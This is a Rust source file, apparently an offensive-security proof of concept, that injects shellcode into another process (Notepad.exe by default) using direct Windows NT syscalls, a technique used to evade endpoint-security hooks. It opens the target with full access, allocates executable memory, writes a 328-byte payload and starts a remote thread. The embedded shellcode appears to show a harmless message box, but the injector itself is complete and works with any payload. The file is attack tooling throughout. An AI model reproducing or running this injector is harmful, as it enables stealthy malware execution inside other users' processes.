/*
    Direct Syscalls
    Author: @5mukx
*/
use std::ffi::CString;
use std::ptr::null_mut;
use rust_syscalls::syscall;
use winapi::ctypes::c_void;
use winapi::shared::ntdef::{NTSTATUS, NULL};
use winapi::shared::ntstatus::STATUS_SUCCESS;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::handleapi::CloseHandle;
use winapi::um::processthreadsapi::{OpenProcess, GetExitCodeProcess};
use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS};

#[derive(Debug)]
enum ExecutionMode {
    Local,
    Remote(String),
}

// Get PID by process name
fn get_pid(process_name: &str) -> Result<u32, String> {
    unsafe {
        let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if snap.is_null() {
            return Err(format!("Failed to create process snapshot: Error {}", GetLastError()));
        }

        let mut pe: PROCESSENTRY32 = std::mem::zeroed();
        pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;

        if Process32First(snap, &mut pe) == 0 {
            CloseHandle(snap);
            return Err(format!("Process32First failed: Error {}", GetLastError()));
        }

        let mut pid = 0;
        loop {
            let exe_file = CString::from_vec_unchecked(
                pe.szExeFile
                    .iter()
                    .map(|&file| file as u8)
                    .take_while(|&c| c != 0)
                    .collect::<Vec<u8>>(),
            );

            if exe_file.to_str().map_err(|e| e.to_string())? == process_name {
                pid = pe.th32ProcessID;
                break;
            }

            if Process32Next(snap, &mut pe) == 0 {
                break;
            }
        }

        CloseHandle(snap);

        if pid == 0 {
            return Err(format!("Process {} not found", process_name));
        }

        Ok(pid)
    }
}

fn is_process_running(pid: u32) -> Result<(), String> {
    unsafe {
        let process = OpenProcess(0x1000, 0, pid); // PROCESS_QUERY_LIMITED_INFORMATION
        if process.is_null() {
            return Err(format!("Failed to open process for verification: Error {}", GetLastError()));
        }

        let mut exit_code: u32 = 0;
        if GetExitCodeProcess(process, &mut exit_code) == 0 {
            CloseHandle(process);
            return Err(format!("Failed to get process exit code: Error {}", GetLastError()));
        }

        CloseHandle(process);
        if exit_code != 259 { // STILL_ACTIVE
            return Err("Target process is not running".to_string());
        }

        Ok(())
    }
}

fn direct_syscall_injector(payload: &[u8], execution_mode: ExecutionMode) -> Result<(), String> {
    if payload.is_empty() {
        return Err("Payload is empty".to_string());
    }

    let process = unsafe {
        match execution_mode {
            ExecutionMode::Local => -1isize as *mut c_void, // Current process
            ExecutionMode::Remote(ref process_name) => {
                let target_pid = get_pid(process_name)?;
                is_process_running(target_pid)?;
                let process = OpenProcess(
                    0x000F0000 | 0x00100000 | 0xFFFF, // PROCESS_ALL_ACCESS
                    0,
                    target_pid,
                );
                if process.is_null() {
                    return Err(format!("Failed to open target process: Error {}", GetLastError()));
                }
                process
            }
        }
    };

    unsafe {
        let mut remote_buffer: *mut c_void = null_mut();
        let mut alloc_size = payload.len();

        let nt_allocate_status: NTSTATUS = syscall!(
            "NtAllocateVirtualMemory",
            process,
            &mut remote_buffer as *mut _ as *mut _,
            0,
            &mut alloc_size as *mut usize,
            0x2000 | 0x1000, // MEM_RESERVE | MEM_COMMIT
            0x40 // PAGE_EXECUTE_READWRITE
        );

        if nt_allocate_status != STATUS_SUCCESS {
            if process != (-1isize as *mut c_void) {
                CloseHandle(process);
            }
            return Err(format!("NtAllocateVirtualMemory failed: {:#X}", nt_allocate_status));
        }

        println!("Allocated memory at {:p}, status: {:#X}", remote_buffer, nt_allocate_status);

        let mut bytes_written = 0;
        let nt_write_status: NTSTATUS = syscall!(
            "NtWriteVirtualMemory",
            process,
            remote_buffer,
            payload.as_ptr() as *mut c_void,
            payload.len(),
            &mut bytes_written
        );

        if nt_write_status != STATUS_SUCCESS {
            if process != (-1isize as *mut c_void) {
                CloseHandle(process);
            }
            return Err(format!("NtWriteVirtualMemory failed: {:#X}", nt_write_status));
        }

        if bytes_written != payload.len() {
            if process != (-1isize as *mut c_void) {
                CloseHandle(process);
            }
            return Err(format!(
                "Incomplete write: {} bytes written, expected {}",
                bytes_written,
                payload.len()
            ));
        }

        println!("Wrote {} bytes, status: {:#X}", bytes_written, nt_write_status);

        let mut h_thread: *mut c_void = null_mut();

        let nt_create_status: NTSTATUS = syscall!(
            "NtCreateThreadEx",
            &mut h_thread,
            winapi::um::winnt::THREAD_ALL_ACCESS,
            NULL,
            process,
            std::mem::transmute::<*mut c_void, unsafe extern "system" fn() -> ()>(remote_buffer),
            NULL,
            0,
            0,
            0,
            0,
            NULL
        );

        if nt_create_status != STATUS_SUCCESS {
            if process != (-1isize as *mut c_void) {
                CloseHandle(process);
            }
            return Err(format!("NtCreateThreadEx failed: {:#X}", nt_create_status));
        }

        println!("Created thread: {:#X}", nt_create_status);

        if process != (-1isize as *mut c_void) {
            CloseHandle(process);
        }
        if !h_thread.is_null() {
            CloseHandle(h_thread);
        }

        Ok(())
    }
}

fn main() {
    let payload: [u8; 328] = [
        0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
        0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
        0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
        0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
        0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
        0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
        0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
        0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
        0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
        0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
        0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
        0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
        0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
        0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
        0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
        0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
        0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
        0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
        0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
        0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
        0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
        0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
        0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
        0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
        0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
        0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00


    ];

    let execution_mode = ExecutionMode::Remote("Notepad.exe".to_string());
    // Example: Local execution
    // let execution_mode = ExecutionMode::Local;

    match direct_syscall_injector(&payload, execution_mode) {
        Ok(_) => println!("Injection Successful"),
        Err(e) => eprintln!("Injection failed: {}", e),
    }
}